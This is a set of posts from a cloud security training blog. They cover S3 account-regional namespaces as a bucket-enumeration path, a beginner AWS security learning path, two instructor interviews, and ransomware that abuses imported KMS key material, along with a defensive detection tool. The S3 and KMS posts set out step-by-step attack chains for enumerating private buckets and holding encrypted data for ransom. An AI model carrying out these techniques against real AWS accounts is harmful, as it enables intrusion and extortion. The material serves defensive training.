Pwned Labs Blog

A new S3 namespace - and a new problem

ian@pwnedlabs.io (Ian Austin) — Fri, 13 Mar 2026 20:41:54 GMT

AWS S3 has long suffered from the bucketsquatting problem. Because bucket names lived in a single global namespace, threat actors could preemptively register bucket names they predicted an organization would use. After nearly a decade of reports, AWS has finally introduced account-regional namespaces to address this: <bucket-name>-<account-id>-<region>-an

While the account regional namespace format is not currently the default option when creating a new bucket, it is the one that AWS recommends.

For example, the S3 bucket myapp-123456789123-eu-north-1-an created in the region EU North, would be accessible via HTTP here: https://myapp-123456789123-eu-north-1-an.s3.eu-north-1.amazonaws.com.

This is a welcome fix. Bucketsquatting was a legitimate problem, and the community has been waiting for a solution. For more detail on the bucketsquatting issue and how the new namespace addresses it, check out the excellent writeup from One Cloud Please: Bucketsquatting is (Finally) Dead.

But there is a flip side.

Key Takeaway: The new S3 account-regional namespace solves bucketsquatting. That is a real improvement. But it also introduces a new enumeration vector. Organizations that rely on security through obscurity for their S3 bucket names should take note. The new format makes it easier for threat actors to discover and confirm ownership of buckets, even when those buckets are not publicly accessible.

The New Problem: Predictable Enumeration

The new naming convention embeds the AWS account ID and region directly into the bucket name. AWS does not consider an account ID to be sensitive information. However, in the hands of a threat actor, a known account ID combined with a predictable naming format creates a straightforward path to bucket enumeration.

Previously, if an attacker wanted to discover S3 buckets belonging to a specific organization, they had to guess bucket names from a flat, global namespace with no way to confirm ownership unless the bucket was publicly accessible. That has changed.

With the new namespace, an attacker who knows the target's AWS account ID and region can construct the full bucket URL for any bucket name guess. Even if the bucket is not public, a valid response confirms it exists and belongs to that account. That confirmation alone is valuable reconnaissance.

Attack Scenario: From Public Repo to Private Buckets

Here is a realistic scenario that demonstrates the issue.

Step 1: Discover a Bucket Name

Let's say that company's public code repository references an S3 bucket named hlogistics-website. This bucket exists in the original global namespace and serves website files. It is intentionally public.

Step 2: Determine the Region

A simple HEAD request against the global S3 endpoint reveals the bucket's region through a 307 Temporary Redirect response:

The response header x-amz-bucket-region: eu-north-1 confirms the bucket lives in Stockholm.

Step 3: Extract the AWS Account ID

Using the publicly accessible bucket and a known technique (such as the s3-account-search tool), the attacker can brute force the AWS account ID associated with the bucket. The tool progressively narrows down the 12-digit account ID:

The full account ID is found to be 123456789123.

If you want to get hands-on with this technique, check out the lab Identify the AWS Account ID from a Public S3 Bucket on the Pwned Labs platform.

Step 4: Enumerate Buckets in the New Namespace

Now the attacker has everything needed. They know the account ID (123456789123) and the region (eu-north-1). The new namespace format is predictable:

<bucket-name>-123456789123-eu-north-1-an.s3.eu-north-1.amazonaws.com

Using a tool like ffuf with a common wordlist, the attacker can brute force bucket names against this format:

A 200 or 403 response confirms the bucket exists and belongs to the target organization. Private buckets still reveal their presence. Public buckets expose whatever data is stored inside. In this case, we have discovered two buckets - files and transfer - both responding in the new account-regional namespace format.

Step 5: Brute Force Objects

Discovering a non-public bucket is just the beginning. If any objects within that bucket are individually accessible due to misconfigured ACLs, the attacker can begin brute forcing file and object names to access sensitive data.

Why This Matters

This is not a vulnerability in the traditional sense. AWS designed the namespace this way and does not treat account IDs as secrets (although knowing the AWS account IDs is so useful to a potential attacker, that it would be better if they were). But this is another example of how predictable naming conventions, combined with easily obtainable metadata, create opportunities for threat actors.

Before this change, discovering buckets in the global namespace gave no reliable signal of ownership, if the bucket itself wasn't public. A bucket named files could belong to anyone. Now, a bucket at files-123456789123-eu-north-1-an is confirmed to belong to account 123456789123. The ownership signal is built into the name.

The attack chain is straightforward:

Find a public bucket or leaked bucket name (code repositories, config files, error messages) that belongs to a target
Determine the region via a HEAD request
Extract the account ID using known techniques
Enumerate new-format buckets with a wordlist
Brute force object names on any discovered buckets

Each step uses publicly available tools and techniques.

Bottom Line

Do not rely on bucket names being hard to guess. Assume your buckets can and will be discovered. Ensure every bucket has appropriate access controls, bucket policies, and monitoring in place. The fact that a bucket is not public does not mean it is invisible. Review your S3 configurations. Enable S3 server access logging or CloudTrail data events to detect enumeration attempts. And treat your AWS account ID as a piece of information that threat actors will find.

Getting started with AWS Security

ian@pwnedlabs.io (Ian Austin) — Wed, 11 Mar 2026 19:29:52 GMT

Many people want to know "how do I get started with AWS security?", and this blog post is for them. The pathway in this blog post will help many beginners to get started with learning AWS security. We introduce the prerequisites to know before learning AWS security, hands-on labs to learn the security of key AWS services, some key tools to be familiar with, and also highlight a real-world data breach in the cloud.

Pwned Labs Academy is the place to get real-world experience and kickstart your cloud security career. Whether you're a total beginner or you’re currently studying for an AWS security certification, Pwned Labs has over 40 hours of free hands-on cloud security scenarios providing you with job-ready skills.

Key Takeaway: Foundational AWS security competency requires understanding IAM policies, S3 bucket misconfigurations, EC2 metadata service exploitation, and CloudTrail monitoring; real-world breaches demonstrate that public EBS snapshots and exposed databases continue to expose sensitive data at scale.

In demand skills 📈

Cloud security is a great career choice. There’s increasing demand for and awareness of cybersecurity, and most organizations are on some journey towards hybrid multi-cloud, if they aren’t cloud native already. On-premises isn’t going away, but the accelerating adoption of the cloud and growth of cybersecurity means that the future is bright for aspiring cloud security professionals.

As an aspiring AWS security professional you can use the following pathway as well as the free Cloud Security Engineer roadmap included in the useful resources section to get started with AWS security, whatever your starting point!

Let's get started! 💥

For newcomers to Pwned Labs, welcome!

With Pwned Labs you can get hands-on with realistic scenarios that can be put into practice straight away. Head over to https://pwnedlabs.io you’ll find a range of free and premium content that are suitable for beginners and pros alike. Most of the labs don’t require you to have your own AWS account - just plug and pwn.

This blog post provides a suggested path through the Pwned Labs content library that we would recommend to take, if starting from the beginning. Once you have some labs under your belt, feel free to leave the path and explore on your own! 🚀

Featured content creator: Tyler Ramsbey ▶️

Sometimes we might want to learn by ourselves, but often it’s more fun with others! Tyler Ramsbey from Rhino Security has created a YouTube playlist of AWS security labs from Pwned Labs. Pwn your way through the labs and learn AWS security with Tyler!

Tyler’s content is excellent and if you haven’t yet checked out his friendly discord community Hack Smarter then you definitely should! It’s a great place to get advice and support from industry peers and beginners alike.

What should I know before learning AWS security? 🧐

You need to be familiar with the Linux command-line. We frequently use the Linux command-line to perform tasks in the cloud, due to its customizability and great support for cloud platform, security and DevOps tooling. Ubuntu is a solid choice of Linux distro given its ease of use and large community. Set up and play with Linux, then work your way through the OvertheWire Bandit wargame to get practice with Linux shell commands!

You also need to have a basic familiarity with AWS services. The Cloud Resume Challenge created by Forrest Brazeal is a great way to do this: https://cloudresumechallenge.dev/ . The Cloud Resume Challenge is a hands-on project designed to guide participants through the essentials of cloud computing. It incorporates many of the skills that real Cloud and DevOps engineers use in their daily work.

What is an AWS account ID? ☁️

An AWS Account ID is a unique 12-digit number that identifies an AWS account. This number is used by Amazon Web Services to differentiate each individual account registered on their platform. The AWS Account ID is important for setting permissions, managing access, and segregating resources between accounts when using AWS services. It is also commonly used in constructing ARNs (Amazon Resource Names), which uniquely identify AWS resources.

In our first lab we're presented with the website below of the company Mega Big Tech and learn how we can find the AWS account ID from any public S3 bucket.

FREE hands-on lab:
https://pwnedlabs.io/labs/identify-the-aws-account-id-from-a-public-s3-bucket

Follow along with Tyler:
https://www.youtube.com/watch?v=O1HPnYCzh7g&list=PLMoaZm9nyKaPBtCuAQVbvhJa8a4HTrZgc

Leveraging an AWS account ID to access resources 🎯

If threat actors get their hands on an AWS Account ID, they can try to identify the IAM roles and users tied to that account. They can do this by taking advantage of detailed error messages that AWS services return when inputting an incorrect username or role name. These messages can verify if an IAM user or role exists, which can help threat actors compile a list of possible targets in the AWS account. It's also possible to filter public resource snapshots by the AWS Account ID that owns it.

This chains nicely together to the next lab! We’ll use the AWS account ID to identify sensitive resources that a company seems to have shared publicly. This lab is based on real-world research. In 2018, Duo Security published an article stating that they found 116,386 public EBS (Elastic Block Store) snapshots from 3,213 accounts. At DEFCON 27 (2019) Ben Morris presented some interesting research on publicly exposed EBS volumes, in which he confirmed 50 exposures and estimated a total of 750-1250 exposures across all AWS regions 🙀

FREE hands-on lab:
https://pwnedlabs.io/labs/loot-public-ebs-snapshots

Follow along with Afshan:
https://www.youtube.com/watch?v=Ma9e0AmFpDE

Key service: AWS IAM 🪖

IAM (Identity and Access Management) is central to building, defending and attacking cloud services. Both offensive and defensive security practitioners need a solid understanding of IAM and how to enumerate permissions: attackers look for overly-permissive settings or misconfigurations in a potential attack chain, while defenders ensure need to enforce the principle of least privilege and identify any resources or services that are in the blast radius of a compromised IAM user.

FREE hands-on lab:
https://pwnedlabs.io/labs/intro-to-aws-iam-enumeration

Follow along with Micah:
https://www.youtube.com/watch?v=RvrZ52ngh5Q

Key service: Amazon S3 🪣

Amazon S3 (Simple Storage Service) is a very popular AWS service (and the second oldest!) and is used to store files and backups, and can even be used to serve websites. This multi-use functionality has led some to argue that this service would be more secure if it were split into separate public web hosting and private file storage services. In recent years AWS have introduced more visual warnings when customers are making buckets world-readable, but still, if this setting is available, people will set it! Misconfigurations and overly permissive settings in S3 have resulted in many data breaches over the years.

FREE hands-on lab:
https://pwnedlabs.io/labs/aws-s3-enumeration-basics

Follow along with Tyler:
https://www.youtube.com/watch?v=aBzJeG_fTuY&pp=ygUKcHduZWQgbGFicw%3D%3D

Key service: Amazon EC2 🖥️

EC2 (Elastic Compute Cloud) is one of the most popular AWS services, and until early 2023 the EC2 metadata service didn't require authentication by default. The EC2 instance metadata service (IMDS) is a service that is only accessible from the EC2 instance. This metadata can contain sensitive information such as credentials of IAM roles that are attached to the instance.

In 2019 a threat actor exploited a SSRF (Server-Side Request Forgery) vulnerability in a web application belonging to Capital One, that allowed the threat actor to access instance metadata that should not have been accessible remotely. The threat actor found security credentials for an IAM role in the metadata that was found to have extensive permissions in the internal AWS environment. After assuming the role they were able to access data stored in an AWS S3 bucket that contained sensitive information of Capital One customers.

The data breach resulted in the exposure of personal information of over 100 million people in the United States and 6 million people in Canada. The exposed data included names, addresses, zip codes/postal codes, phone numbers, email addresses, dates of birth, and self-reported income. Also compromised were customer status data, credit scores, credit limits, balances, payment history, contact information, and fragments of transaction data.

Let’s replicate this real-world breach and learn about EC2 instance metadata.

FREE hands-on lab:
https://pwnedlabs.io/labs/ssrf-to-pwned

Follow along with Tadi:
https://www.youtube.com/watch?v=wWdp7N6LgCQ

Key service: AWS CloudTrail 🧢

Blue teamers can use AWS CloudTrail to monitor and track user activities and API usage across AWS infrastructure. IAM brute force attacks are a significant threat to the security of AWS cloud environments, with threat actors attempting to gain unauthorized access to cloud environments by repeatedly guessing IAM user credentials. Common credentials brute force techniques include password spraying, which involves trying to login with a large number of potential users and one or two passwords (e.g. <Season><Year>) , or credential stuffing, where a large number of username and password combinations are attempted. In both cases threat actors use tools to automate the attacks.

AWS CloudTrail’s account logging capability, combined with Amazon Athena's querying capability allows security professionals to rapidly analyze logs for suspicious patterns. Blue teamers can get visibility of repeated failed (and successful) login attempts, helping to identify potential IAM breaches or ongoing brute force attacks. Let's get hands-on with these services and see how we can detect malicious behavior.

FREE hands-on lab:
https://pwnedlabs.io/labs/identify-iam-breaches-with-cloudtrail-and-athena

Key service: Amazon RDS 📒

Amazon Relational Database Service (RDS) is a web service that allows for easy set up, operation, and scaling of relational databases in the cloud. One of the most important steps in defense is knowing your installed base of applications and resources, where they are accessible from, and who has permissions over them. Performing frequent inventories of current assets is a low-tech but impactful exercise. In this exercise we highlight the risks of leaving an RDS database exposed to the internet.

FREE hands-on lab:
https://pwnedlabs.io/labs/pillage-exposed-rds-instances

Follow along with Afshan:
https://www.youtube.com/watch?v=Sbvi-5QqQfQ

Industry tool highlight: Splunk ❇️

Now we’ve explored some of the fundamental AWS services, let’s examine an popular tool that can help us secure and detect threats in our AWS environment. Although AWS has some excellent native security services, CloudTrail logs can also be imported to and examined in third-party solutions such as Splunk. Splunk is a powerful SIEM (Security Information and Event Management) tool that is widely used by organizations globally to detect malicious behavior.

Premium hands-on lab:
https://pwnedlabs.io/labs/hunt-in-the-cloud-with-splunk

Follow along with Afshan:
https://www.youtube.com/watch?v=_-_yqPIywjw

Community tool highlight: Cloudfox 🦊

Getting situational awareness is an important step when assessing the security of unfamiliar cloud environments. While penetration testers and red teamers will do this on engagements, it's also a good exercise for blue and purple teamers to undertake periodically. The shifting permissions environment of the cloud can unintentionally expose secrets and open up unintended paths for resource and data access. Cloudfox (created by Seth Art) can do a lot of the heavy lifting for us when getting situational awareness in AWS!

Premium hands-on lab:
https://pwnedlabs.io/labs/get-situational-awareness-in-aws-with-cloudfox

Follow along with Tyler:
https://www.youtube.com/watch?v=-lMpj5RlJaY&list=PLMoaZm9nyKaPBtCuAQVbvhJa8a4HTrZgc

Real-world data breach case study 🔥

This lab examines a real-world scenario with TeamCity instances exposed on the internet. TeamCity is a very popular continuous integration (CI) and continuous delivery (CD) server developed by JetBrains. It provides automation capabilities for building, testing, and deploying software, ensuring that code changes are automatically tested and ready for production. It provides easy integration with cloud services such as AWS, and can store credentials for accessing cloud resources.

The New York Times reported in 2021 that hackers might have leveraged JetBrains TeamCity to infiltrate both U.S. federal government and private sector networks. Searching on shodan.io reveals that over 4000 TeamCity server login pages are exposed to the entire internet.

Premium hands-on lab:
https://pwnedlabs.io/labs/pwn-teamcity-in-the-cloud

Follow along with Tyler:
https://www.youtube.com/watch?v=_N4TFAkF6zM&list=PLMoaZm9nyKaPBtCuAQVbvhJa8a4HTrZgc&index=5

Hot wash 🧽

At this point you have 10 labs under your belt, and are on your way to becoming an AWS security ninja! There are over 30 hours of free AWS labs at Pwned Labs, and lots of premium labs to help prepare for the AWS Certified Security Speciality certification. While the AWS syllabus is comprehensive and provides a solid theoretical basis, you can supplement this with continuous learning using Pwned Labs and gain a more holistic understanding of security in the real-world.

Once you feel ready for the ultimate cloud challenge, the ThunderDome cyber range and a certificate of completion awaits!

Good luck on your AWS Security journey!

- Ian

Let’s connect! - www.linkedin.com/in/iаn-аustin

Useful resources

Pwned Labs Discord
https://discord.gg/pwnedlabs

Pwned Labs Cloud Security Roadmap
https://pwnedlabs.io/roadmaps/cloud-security-engineer/

Bottom Line

AWS security fundamentals center on three pillars: identity and access management (IAM least privilege), asset inventory and exposure visibility (S3, RDS, snapshots), and audit logging (CloudTrail). The Capital One breach and widespread public EBS snapshot exposures demonstrate that foundational misconfigurations remain the primary attack surface. Hands-on labs with real-world scenarios accelerate learning far beyond certification study alone.

Meet your ACRTP Bootcamp instructor: Tyler Petty

Rob Alport — Tue, 20 May 2025 10:00:00 GMT

From building military-grade networks to cloud security guardrails, Tyler's journey into cybersecurity has been anything but ordinary. In this interview, we sat down with Tyler to explore his transition from the military to the private tech sector, his views on DevSecOps and AI, and what motivates him to lead Pwned Labs’ Amazon Cloud Attack and Defense Bootcamp.

Let’s start with the basics. Who is Tyler, and what’s your background?

I grew up in a military family, which meant a lot of moving around, but we were mostly based in Nebraska. I’m currently in Denver, Colorado, working in tech, specifically in cloud platform security. Outside of work, I’m really into hiking and fitness, which makes Denver a perfect place. I live near a mountain that I can hike after work. Also, I’ve got a fiancée and a corgi, so life is pretty full.

Before we get into the technical stuff, tell us about your time in the military and how that shaped your path into cybersecurity.

I joined the military right out of high school, not because I had it all figured out, but because I wanted to serve, and a lot of my family had done the same. I ended up managing combat-resilient communication networks. We're talking routers, switches, satellite comms - basically, a crash course in tech infrastructure. That set the foundation. I later moved into a federal government role and eventually transitioned into the private sector.

What sparked the move from military to cybersecurity?

It was pretty organic. While I was in the military, one day my commander came and asked if I’d be willing to support one of our federal government agencies with imaging computers and doing that kind of stuff. So I was like, okay, sure, I'll do it! I had a great experience there, met some great people, and later ended up working with that agency for a couple of years. At some point, I was talking with a friend at a big tech company, and he mentioned one of their teams needed someone with a Microsoft enterprise skillset — Active Directory and such. I had that, along with a Security+ cert, some cybersecurity exposure, and was working on a cyber degree. Turns out the company was building a new infosec team, and I just clicked with their needs. That’s how I got my start in cybersecurity! I kind of fell into it, really.

What does a typical day as a security engineer look like?

Security engineering is always evolving and can look really different depending on the company. I’ve been in the field for about a decade, and the day-to-day can vary a lot. One day, you might be working with different teams to help build security into a new infrastructure setup or product. Another day, you might be writing code to automate workflows, triaging alerts or vulnerabilities, or testing out detections with adversary simulations. It’s a little bit of everything, and that’s what keeps it interesting!

Would you say your role straddles red, blue, and everything in between?

Definitely. It's a bit of everything - putting up defenses, building tools, gaining visibility, and simulating attacks. It’s really fun to be both a builder and an attacker. It requires you to constantly learn and keep up though but I find the challenge in that rewarding.

AI is changing everything. What are you seeing on the ground in DevSecOps?

AI is quickly becoming a core part of the job for everyone. We started with chatbots, then knowledge bases, agents that perform autonomous actions and now it’s the Model Context Protocol (MCP) which lets AI connect with systems and data directly. You can give it a command in plain English, and it autonomously performs actions like building infrastructure for you.

But there’s a risk. AI can be unpredictable. The code it writes might be flawed or misconfigured. Until AI becomes more consistent, it's both an opportunity and a threat.

When I was talking with Filip, we discussed where he saw the biggest threats for organisations, and highlighted supply chain risk as one of the areas that organisations will need to understand and monitor. How do you see that evolving?

Supply chain attacks are a huge concern. Everything relies on third-party code. Remember Log4j? An open-source logging framework that so many companies and products relied on suddenly had a publicly exploitable vulnerability in its code. Log4j was maintained by unpaid volunteers. Companies need to understand their dependencies; not just what code they use, but what that code depends on. Smaller companies especially are vulnerable because they often can't always afford the tools and talent that larger orgs use to manage that risk.

How did you get involved with Pwned Labs and the bootcamp?

I discovered the Pwned Labs Discord early on, probably about 6 months after it launched. At first, I was doing the labs and sharing write-ups, but I was also speaking with Ian more about some lab ideas I had. That led me to creating a couple of labs and also supporting the team with the AWS Electra cyber range. When the AWS Bootcamp launched, I was a participant, but was also helping support the other students along the way. Ian and I had a conversation at some point during the bootcamp and asked if I’d like to instruct it going forward. Heck yes I do!

What do you get out of running the bootcamp?

I really enjoy teaching and mentoring. I’ve always liked helping people get where they want to be. This is new for me, teaching online to hundreds of people, but it’s incredibly rewarding. I’m constantly evolving the material, adding visuals, context, and new attack vectors. The goal is to keep things current, useful, and practical.

How do you see the bootcamp evolving?

The landscape is always shifting - new threats, tools, and techniques. I’ve already tweaked the content from the last round and will keep doing that. Staying up to date is non-negotiable if we want to teach real-world skills.

Any advice for veterans transitioning into cybersecurity?

Yeah, first, take advantage of the many resources out there specifically for veterans. There are great Slack groups, transition programs, and companies that want to help. Second, stay open-minded. Your first job might not be your dream job, but it's a stepping stone. Third, be ready to learn constantly. The field moves fast, and you need to keep up. Also, don’t fall for the hype that one bootcamp will guarantee you a job. Getting in is one thing. Staying in and thriving takes work.

(Note: Pwned Labs also offers 50% off cloud security bootcamps and subscriptions to veterans and active service members. Just fill in the form and we'll be in touch!)

Any regrets or things you’d do differently?

Honestly, I wouldn’t change much. The military shaped who I am today. I did try management for a bit, and while I liked mentoring, I missed being hands-on. Now I’m back in engineering, and that’s where I thrive.

Final thoughts?

If there’s one thing I’d tell anyone getting started - get involved in the community. Most of what I’ve done with Pwned Labs and beyond started with just engaging on LinkedIn and Discord. You don’t need a huge personal brand. You just need to show up, contribute, and help others. That’s where the real opportunities come from.

Great to chat Tyler! 😎

Tyler will be leading the Amazon Cloud Attack and Defense bootcamp, starting June 7th. You can find out more about the bootcamp here:

https://bootcamps.pwnedlabs.io/acrtp-bootcamp

Meet your MCRTP Bootcamp instructor: Filip Jodoin

Rob Alport — Fri, 25 Apr 2025 11:29:49 GMT

We sat down with Filip Jodoin, Penetration Tester and Pwned Labs instructor, to find out more about his cybersecurity journey, and what he enjoys when he steps out from the office!

So tell us a bit more about who Filip is!

Well, I’m a half Swedish, half French-Canadian kiwi who lives in Montreal. I am a member of the Ordre des Ingénieurs du Québec (OIQ) and work as an ethical hacker at Packetlabs, leading the Microsoft Cloud penetration testing services. I am looking forward to leading the next Microsoft Cloud Attack and Defense bootcamp with Pwned Labs in May.

How did you become an ethical hacker? Did you always know you wanted to work in cybersecurity, or did it happen more by chance?

Haha, a very good question! My dad is an electrical engineer, and I’ve always had a mentality of wanting to find out how things work. So, following in my father’s footsteps, at university, I trained as an engineer as well; a computer hardware engineer. Whilst I was studying alongside software engineers, I learned a bit about the risks of code security, but it was when I came across an article on CPU abuse, that I literally was knocked off my chair, and needed to learn more, so I jumped down the rabbit-hole! From there I was fortunate to gain a role in the government as a cybersecurity analyst, before moving into the private sector and continuing to grow and expand as an ethical hacker.

Cybersecurity can be pretty intense - how do you manage your workload and avoid burnout?

This is really important - it’s very easy to go down the different rabbit holes to indulge your curiosities, and one of the most important skills I’ve developed (as someone who is chronically curious) is how to manage your time. Because of the work that I do, it’s not just about spending hours or days on one project, but having to manage multiple clients and projects, and so I break my day up into two-hour blocks to ensure that I’m spending my time efficiently.

Whilst moving from different projects helps keep the brain fresh, it’s also vital to be able to step away from the screen and enjoy some time offline. I’m fortunate to have family and friends close by, and we often connect over food and company. I also enjoy exercising, either in the gym or climbing, and I like to learn new things by listening to audio books, whether that’s history, finance, politics, etc.. For me, so far, swapping between mental and physical activities has helped avoid cyber-burnout!

What led you to be the lead instructor for the MCRTP bootcamp?

I've always loved sharing knowledge, whether that’s in-person or online, having the opportunity to help others gain cloud skills is a perfect opportunity to push myself to the next level. I was a Teaching Assistant at university, and since then I’ve led a number of training sessions across different companies on cyber security topics, so when I got involved with Pwned Labs, initially as a community member, and more recently supporting some of the sessions in the Discord, it seemed a perfect fit.

How will the experience of the MCRTP bootcamp differ from previous sessions?

For a start, it will be building on the great work that Ian and the team have been doing. It will include relevant Microsoft Cloud Updates, such as Entra Session IDs on tokens, and go deeper into more of the theory to help people understand more of the “why”. This is not to say that it’s been lacking in the past, but due to time constraints, a lot of these more theoretical conversations took place in Discord, and that could have led to people missing them as the thread could be buried deep by the time they come back online - by bringing these into the main sessions, hopefully everyone will get the full experience. Due to this, what you may notice though, is that the session will probably end up running a bit longer, so we’ll be having to manage time effectively!

Final question - looking ahead, how do you see cloud security evolving over the next few years, and where do you see yourself fitting into that future?

Well if I knew this, it would take most of the fun out of it! Seriously though, it is so difficult to be able to say with any certainty what’s coming as this industry moves so fast. The things that I think we’ll need to focus on are:

1. Cloud is only going to grow, and we should expect more organisations to require the skills to manage their instances. However, tied into this we are likely to see a massive increase in multi-cloud architectures, which is going to deliver a whole new set of challenges for businesses, as cyber teams are going to need to have deep expertise across multiple areas, and a breadth of knowledge required that ensures you are protected.

2. Obviously AI is going to heavily impact the future of cyber - whether it becomes a never-ending cat and mouse of red vs. blue AI agents, highly convincing social engineering powered by AI agents, or whether there are new attack paths the agents could devise. What is critical is that businesses are able to move fast to meet these new threats and protect themselves. For example, I recently dabbled with a new graphing tool which can leverage AI Agents and recommends different potential attack paths to test as part of a pentest - and these are only going to get more powerful!

3. The final piece that looks likely to become more of a focus is 3rd party and supply chain attacks (think about the 2024 xz backdoor). If we see that core businesses are becoming better protected through the use of better training, AI agents and more stringent platform configuration settings, today’s attack paths may no longer be viable. Launching a third-party supply chain attack may become the most likely point of entry. In any case, humans remain the weakest link, and with AI-powered social engineering, phishing will become a daily occurrence - let's just hope our tokens are truly phishing-resistant!

Thanks Filip! 😎

Filip will be leading the Microsoft Cloud Attack and Defense bootcamp, starting May 3rd. You can find out more about the MCRTP bootcamp here:

https://bootcamps.pwnedlabs.io/mcrtp-bootcamp

RansomWhen: The Hidden Risks of AWS KMS in Ransomware Attacks

goodness@pwnedlabs.io (Goodness Adediran) — Tue, 11 Mar 2025 12:29:12 GMT

Disclaimer: The information in this blog post is provided for educational and informational purposes only. We do not endorse, promote, or support any malicious activities, including hacking, unauthorized access, or exploiting vulnerabilities. Defenders are encouraged to use the knowledge shared here to strengthen security practices and increase the resilience of their environments against potential ransomware threats.

Key Takeaway: Attackers can exploit AWS KMS Bring Your Own Key Material (BYOKM) to upload their own encryption keys, re-encrypt all victim data, then delete the key material to execute ransomware attacks - making encrypted resources permanently inaccessible until a ransom is paid.

Introduction 🌩️

As organizations increasingly migrate their workloads to the cloud, data security remains a shared responsibility between cloud service providers (CSPs) and their customers. A cornerstone of cloud security is encryption, which ensures that sensitive data remains confidential, tamper-proof, and accessible only to authorized users. Over time, encryption key management has evolved significantly, shifting from traditional on-premises hardware security modules (HSMs) to cloud-native Key Management Services (KMS) offered by major CSPs.

Among these, AWS Key Management Service (AWS KMS) has become a widely adopted solution, providing centralized control over encryption keys with seamless integration into AWS cloud services. It enables users to generate, store, and manage cryptographic keys securely, ensuring that data at rest and in transit is protected across AWS environments. With fine-grained access controls via AWS Identity and Access Management (IAM), automated key rotation, and logging through AWS CloudTrail, AWS KMS can help organizations meet compliance or regulatory requirements and adhere to security best practices.

It is particularly valuable for securing services such as S3 buckets, RDS databases, EBS volumes, Lambda functions, and other AWS services that require encryption. Supporting both AWS-managed keys and customer-managed keys (CMKs), KMS provides flexibility for enforcing security policies. Additionally, AWS integrates KMS with hardware security modules (HSMs) via AWS CloudHSM, offering FIPS 140-2 Level 3 validated security for highly regulated industries.

However, while AWS KMS enhances cloud security, it can also present risks if not properly configured. Chris Farris' blog (since revised) on Effective Techniques for AWS Ransomware highlighted an attack method targeting AWS resources using KMS with external key material.

Figure 1.1: Screenshot from https://www.chrisfarris.com/post/effective-aws-ransomware/

Two methods were highlighted that arguably neither AWS nor the legal system can prevent:

External Key Store (XKS) Exploitation: Attackers can use XKS to store encryption keys outside AWS KMS, but this method is complex, difficult to scale, and risky as it requires restoring external infrastructure, increasing detection chances.
Bring Your Own Key Material (BYOKM) Exploitation: Attackers generate and upload their own key material to AWS KMS, then delete it to make encrypted data inaccessible, effectively holding it hostage until the threat actor's key is re-uploaded.

The second method, Bring Your Own Key Material (BYOKM) has been observed in the wild, with threat actors leveraging AWS KMS to encrypt victim data for ransom. This method allows threat actors to gain control over encryption keys and effectively lock victims out of their own resources.

Steps in the BYOKM Attack Process 🔐

Generate Key Material: The attacker creates KMS key material externally.
Upload Malicious Key Material: Using a compromised victim AWS account with full KMS permissions, the attacker executes ImportKeyMaterial, uploading their own encryption keys into the victim’s AWS account and replicating them across all regions.
Re-encrypt Data with Attacker’s Keys: The attacker replaces existing keys with the imported BYOKM key and re-encrypts all critical data, ensuring that only they have the decryption capability.
Execute the Ransom Attack: At the chosen moment, the attacker deletes the key material using DeleteImportedKeyMaterial, making the victim's encrypted resources completely inaccessible.

In another article - Redefining Ransomware Attacks on AWS using AWS KMS XKS, - Harsh Varagiya explores how threat actors may exploit AWS's External Key Store (XKS) to enhance ransomware attacks. XKS allows AWS services to use encryption keys stored outside AWS, enabling encryption for over 100 services, including Amazon EBS and S3, without modifying existing configurations. Attackers can leverage this by encrypting data with external keys, rendering it inaccessible to victims unless a ransom is paid. This method complicates detection and prevention, as it relies on the victim's infrastructure and the flexibility of AWS's encryption capabilities.

Attack Path Detection using RansomWhen ⏳

In an effort to enhance detection capabilities and help defenders identify ransomware attack paths, Permiso Security’s P0 Labs research team has developed an open-source tool named RansomWhen. This Python-based tool is designed to help defenders detect KMS-based ransomware attacks within a specific AWS account through CloudTrail log analysis. Additionally, it can be used to proactively enumerate identities with permissions to use KMS keys in ways that could encrypt or restrict access to data stored in an S3 bucket. Better defenders run this tool in their own account before threat actors do!

RansomWhen allows defenders to

Identify Overly Permissive IAM Roles & Users
Detect Suspicious KMS Encryption Events
Proactively Audit KMS Key Misuse Risks

🎯 We'll now investigate a scenario where we suspect that an attacker has compromised a victim’s AWS account, imported a Customer Master Key (CMK), encrypted S3 buckets and then deleted the CMKs to render the data inaccessible. We'll use RansomWhen to enumerate "risky" identities and also to detect suspicious KMS events.

Let’s begin!

Install RansomWhen 🐚

$ git clone https://github.com/permiso-security/RansomWhen.git $ cd RansomWhen $ python3 -m venv venv $ source venv/bin/activate # For Linux/macOS $ venv\Scripts\activate # For Windows $ pip install -r requirements.txt

Then configure the AWS CLI profile using the command aws configure . We can use an IAM user with admin permissions in the AWS environment, or in line with the principal of least privilege, an IAM user that is assigned the following permissions:

iam:ListUsers
iam:GetUser
iam:ListUserPolicies
iam:ListAttachedUserPolicies
iam:ListGroupsForUser
iam:ListGroupPolicies
iam:ListAttachedGroupPolicies
cloudtrail:LookupEvents
iam:GetPolicyVersion
iam:GetPolicy

Identity Enumeration 🕵️

Let’s start by running python3 ransomwhen.py IDENTITIES to enumerate the identities within the compromised account. This expects a -p or --profile parameter for the AWS profile to use.

# This command identifies the AWS principals with exploitable permissions
$ python3 ransomwhen.py IDENTITIES --profile RansomWhen

RansomWhen identified what seems to be excessive permissions for a test IAM User ( Test-prod ) within the compromised account and presented various possible attack scenarios that an attacker could leverage to execute a ransomware attack.

RansomWhen reports if AWS principals are able to perform any of the following actions that ransomware actors may perform to help them achieve their objectives.

Attach Custom KMS Key Store
Create Locked Key and Encrypt Bucket using CopyObject
Create Locked Key and Encrypt Bucket using Get/Put Object
Create Role, Add Inline Policy and Delete
Create Role, Attach Inline Policy and Delete
Create User, Add Inline Policy and Delete
Create User, Attach Inline Policy and Delete
Delete CloudTrail Trail
Stop Logging
Stop Logging using KMS
Update Current Custom KMS Key Store
Update Key Policy to Lock Key and Encrypt Bucket using CopyObject
Update Key Policy to Lock Key and Encrypt Bucket using Get/Put Object

Monitor for Malicious Events in AWS CloudTrail Logs 👀

Next, let's use RansomWhen to detect potentially malicious activities. If we don't select the principal to query, the tool will attempt to list users and roles using the iam:ListUsers and iam:ListRoles permissions.

💡 A pull request has been created from this fork of RansomWhen to address an issue where the same event data is returned for different AWS principals.

# This command detect suspicious activities, such as unauthorized key imports or deletions$ python3 ransomwhen.py EVENTS --profile RansomWhen # all users $ python3 ransomwhen.py EVENTS --profile RansomWhen -i <user> # specific user

The RansomWhen output reveals that the potentially compromised user Test-prod issued a kms:CreateKey request 😱

We see an IAM policy in the RequestParameters because whenever you run kms:CreateKey, AWS KMS attaches a key policy—either the default one or a custom policy that you provide in the request.

We can continue to analyze the breach using Splunk or natively using Amazon Athena.

Preventing This Attack 🏰

"The key question is not if customers can prevent this attack, but will they proactively implement these security measures?" - Chris Farris

